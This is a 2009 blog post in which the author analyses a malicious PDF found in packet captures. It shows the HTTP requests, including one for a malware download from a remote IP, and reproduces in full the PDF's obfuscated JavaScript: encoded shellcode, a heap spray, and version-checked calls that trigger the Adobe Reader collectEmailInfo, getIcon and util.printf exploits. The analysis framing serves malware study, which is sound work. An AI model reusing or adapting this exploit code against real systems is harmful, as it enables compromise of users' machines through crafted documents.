Tuesday, May 26, 2009

Analyzing a malicious PDF (part 1)

I've seen quite a few mailicious PDF files recently, and decided I'd try to see what was involved in analyzing them. My Antivirus system flagged one such and blocked it, so I dug through the daily packet captures and extracted the file using Network Miner and some custom scripts that I whipped up to extract and merge the packets into one pcap file.

The PDF was named 1.pdf and came from 85.12.43.127, a system running nginx.


GET /css/pdf.php?new=3&u=f_3_10&cc=?&st=3vui&tm=000012&r=k9rnupykn HTTP/1.1
Host: 85.12.43.127
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://bestviagrasearch.net/?cmp=gragunvia

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 21 May 2009 17:08:21 GMT
Content-Type: application/pdf
Connection: close
X-Powered-By: PHP/5.2.6
Accept-Ranges: bytes
Content-Length: 4374
Content-Disposition: inline; filename=1.pdf


Opening the PDF with a vulnerable version of Adobe Reader (version 9.0) on an analysis machine running wireshark, shows an attempted download. Fortunately, the file it was trying to download has already been removed.



GET /oxmlJqB.exe?new=3&u=f_3_10&cc=?&st=3vui&tm=000012&r=k9rnupykn&u=f_3_1&spl=p1 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 79.99.133.75
Connection: Keep-Alive

HTTP/1.1 404 Not Found
Date: Thu, 21 May 2009 20:23:23 GMT
Server: nginx/0.5.35
Content-Type: text/html; charset=ISO-8859-1
Via: 1.1 127.0.1.1
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 90
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive


I probably could have stopped there, but I was curious how the pros analyze these things, so after some more googling I had a starting point at least.

Just viewing the PDF in a text editor tells us that the PDF contains Javascript and two stream objects that looks like garbage when viewed in the text editor. This will be the Javascript most likely, but it is compressed. So first we have to uncompress it, using a tool such as pdftk using a command-line like below:

pdftk 1.pdf output malware.pdf uncompress

Looking at this file in a text editor now shows us all the (obfuscated) Javascript inside this PDF. It's pretty ugly.



function DiS2Y5Dzhmeaf() {
function ONG5XToO(arg) {
var out = "";
for (var i=0; i<arg.length;i=i+4) {
var br1 = parseInt('0x'+arg[i] + arg[i+1], 16).toString(16);
var br2 = parseInt('0x'+arg[i+2] + arg[i+3], 16).toString(16);
if(br2.length == 1) { br2 = "0" + br2; };
if(br1.length == 1) { br1 = "0" + br1; };
out = out + "%u" + br1 + br2;
}
return out;
}
function auHWvCNa() {
wVyLUt7Tb = unescape;
return wVyLUt7Tb(ONG5XToO("4141414949494941"+("4949a4R949nED8R").replace(new RegExp(/[xNnDHawPAWSR]/g),"")+("900s060000k0p").replace(new RegExp(/[4snWkp6]/g),"")+"083590CC1318041"+("4").replace(new RegExp(/[90alM2BrqnzT]/g),"")+"4398075C38"+("3B3CBB").replace(new RegExp(/[c7yRzp4C]/g),"")+'0'+("537F6f2283F4y0582794D7x").replace(new RegExp(/[FxqzmyDfK]/g),"")+"8"+'FAC44'+'44CD442C83B9CDE056A'+"C1344"+("BFL44L4g4t2MCL142AL2MB").replace(new RegExp(/[tLgM]/g),"")+("44m44x3V12VC2e83e6e10z2").replace(new RegExp(/[XMTV9d7UDmxI5zes]/g),"")+("9N94NBB2K52RCAN8t").replace(new RegExp(/[FsMGmYtKRN]/g),"")+'6514A0A6AC4444CD442C8'+"2945D4692AC1"+'344914444BB2C44442'+"E44BB0"+"41494022CBB6"+'B138184AC44441F44'+"2E172C0444BB4"+"444BB1"+'7149444AC44441D4485C7'+("0r5K4EdCy5221VEY7Dr3d").replace(new RegExp(/[yVKUTrYWdHw]/g),"")+("181Eg05BgCz1n705g9d").replace(new RegExp(/[ymnoXHdLgeIza8bfq]/g),"")+("675t1s6C16BW").replace(new RegExp(/[U8itWC2qbs]/g),"")+'B2C4444174'+("416f1y592BBZBCC73n0f44cDO44f11o4F1487").replace(new RegExp(/[ZFogO8cfPny]/g),"")+"5AF2D2C4A6E130538AC44442E442C2"+'16A'+'253C21CF10604818CF48601'+("715q94zBBr2C1y2BL30F4K5L2zAKACq134o419z44r").replace(new RegExp(/[LyrzoKq]/g),"")+("4X41A1cAZ4c472XEcBBH12X2HEH94").replace(new RegExp(/[XsHcZ7]/g),"")+("2MCN2").replace(new RegExp(/[p0MNKc]/g),"")+"8302A2820BB10"+"6010"+"2C602FA5925DAC1444"+"7B44449"+"4BB751"+'2208474E544443C44CF48480434CFE95804CFAF'+("4CCMFi4D7e0e0x40z4C9ICF3f87i804e87z1dACDp1I1PCFpAi1X4Ca01i751x6I8p59W64").replace(new RegExp(/[pPiXdbeMhWaIfxz]/g),"")+'7865476C404447CB13194CD8D1E40861144'+"A1CD1312847519CFCF484C31B3CD3247CF783C0ABD4515CF1658"+'15CF166035CF'+("45L64DDLBX").replace(new RegExp(/[SznXNtLfU]/g),"")+'AE90E470'+("64C0R1AC14BBF0BRBBxB9YCJ7DB5x3j10M").replace(new RegExp(/[jxnYiqJMR]/g),"")+'1CFD64C451A959245A475B44B8D4CF3851B4'+("6A59p54w5pBrDN4Y545CF934451wA31Br8i").replace(new RegExp(/[RpYNLiMbr3xw]/g),"")+"68D444C1E1E302C34306B7E736B6A7D7D7D756A7777736A6B713C2B282"+"9350E6A063C217B21212A7933627779311B221B77747527627927627B303777793132622D293"+("0m7m47c9a74T7c47s57M4M6c2T767936M7cDc2sFm2Am3634c3a1m2F3iDM6a22A79311sBa2c21B77a7s4a7a5sCT3C3sCm3iC3m").replace(new RegExp(/[acisMTm]/g),"")) + "%u3170");
}
wVyLUt7Tb = unescape;
rLd1BMWpJ = auHWvCNa();

var RQ23nPi = new Array();
var qF7klVZ4ZkdE;
function nbwNJcQrzv(cZXrSdUkMNg, kSUFIB){
while (cZXrSdUkMNg.length * 2 < kSUFIB){
cZXrSdUkMNg += cZXrSdUkMNg;
}
cZXrSdUkMNg = cZXrSdUkMNg.substring(0, kSUFIB / 2);
return cZXrSdUkMNg;
}
function NiprlLjACkqns1(b7KRfO1Q3FFfpn){
var dkpZJpL = 0x0c0c0c0c;
var TT0EnzaMvgh = rLd1BMWpJ;
if (b7KRfO1Q3FFfpn == 1){
dkpZJpL = 0x30303030;
}
var Y7On9e3n = 0x400000;
var iKlHMn5lWOQzY = TT0EnzaMvgh.length * 2;
var kSUFIB = Y7On9e3n - (iKlHMn5lWOQzY + 0x38);
var cZXrSdUkMNg = wVyLUt7Tb(ONG5XToO("90"+("9Y").replace(new RegExp(/[HXY5Jg]/g),"")+"090"+"90"));
cZXrSdUkMNg = nbwNJcQrzv(cZXrSdUkMNg, kSUFIB);
var FYEAUvrrIxF6 = (dkpZJpL - 0x400000) / Y7On9e3n;
for (var p9tNyE0FaxKMTj = 0; p9tNyE0FaxKMTj < FYEAUvrrIxF6; p9tNyE0FaxKMTj ++ ){
RQ23nPi[p9tNyE0FaxKMTj] = cZXrSdUkMNg + TT0EnzaMvgh;
}
}
function cFYYwA0s(){
var SuGRzM = 0;
var PHRGqgQKb = app.viewerVersion.toString();
app.clearTimeOut(qF7klVZ4ZkdE);
if ((PHRGqgQKb >= 8 && PHRGqgQKb < 8.102) || PHRGqgQKb < 7.1){
NiprlLjACkqns1(0);
var TFj7Us = wVyLUt7Tb(ONG5XToO("0c"+"0c"+'0c'+'0c'));
var As5HKZ = Collab;
while (TFj7Us.length < 44952)TFj7Us += TFj7Us;
this .collabStore = As5HKZ["co"+"lle"+'ctEmai'+'lInfo']({
subj : "", msg : TFj7Us
}
);
}

if ((PHRGqgQKb >= 8.102 && PHRGqgQKb < 8.104) || (PHRGqgQKb >= 9 && PHRGqgQKb < 9.1) || PHRGqgQKb <= 7.101){
try {
var As5HKZ = app.doc.Collab;
if (As5HKZ['ge'+"t"+"Ic"+("on").replace(new RegExp(/[NVr945]/g),"")]){
NiprlLjACkqns1(2);
var VphRI = wVyLUt7Tb("%09");
while (VphRI.length < 0x4000)VphRI += VphRI;
VphRI = "N." + VphRI;
As5HKZ['ge'+"t"+"Ic"+("on").replace(new RegExp(/[NVr945]/g),"")](VphRI);
SuGRzM = 1;
}
else {
SuGRzM = 1;
}
}
catch (e){
SuGRzM = 1;
}
if (SuGRzM == 1){
if (PHRGqgQKb <= 8.102 || PHRGqgQKb <= 7.1){
NiprlLjACkqns1(1);
var iSg6yVPoI4BZ = 12;
for(ZdFcSz06S = 0; ZdFcSz06S < 18; ZdFcSz06S++){ iSg6yVPoI4BZ = iSg6yVPoI4BZ + "9"; }
for(ZdFcSz06S = 0; ZdFcSz06S < 276; ZdFcSz06S++){ iSg6yVPoI4BZ = iSg6yVPoI4BZ + "8"; }
var As5HKZ = util;
var tzKjE = "l25k34u35d30u30d30l66";
var wdIis = wVyLUt7Tb(tzKjE.replace(new RegExp(/[lkud]/g),"%"));
As5HKZ[("gphriwntqf").replace(new RegExp(/[ghwq]/g),"")](wdIis, iSg6yVPoI4BZ);
}
}
}
}
app.Gym5s4WsPr1fa = cFYYwA0s;
qF7klVZ4ZkdE = app.setTimeOut("app.Gym5s4WsPr1fa()", 10);
};



Quickly looking at the code above you can tell a couple of things: there's a couple of suspicious looking if statement that appears to be checking the version of Adobe Reader and triggering either the CollectEmailInfo (CVE-2007-5659) or GetIcon (CVE-2009-0927) exploit. It's also interesting how the vulnerable function is called (see below for an example). I can only assume it's to try to avoid IDS and Anti-virus signature matching.


this .collabStore = As5HKZ["co"+"lle"+'ctEmai'+'lInfo']({


I did manage to extract what I believe is the shellcode using a great tool named Malzilla. More on that in part 2.

No comments:

Post a Comment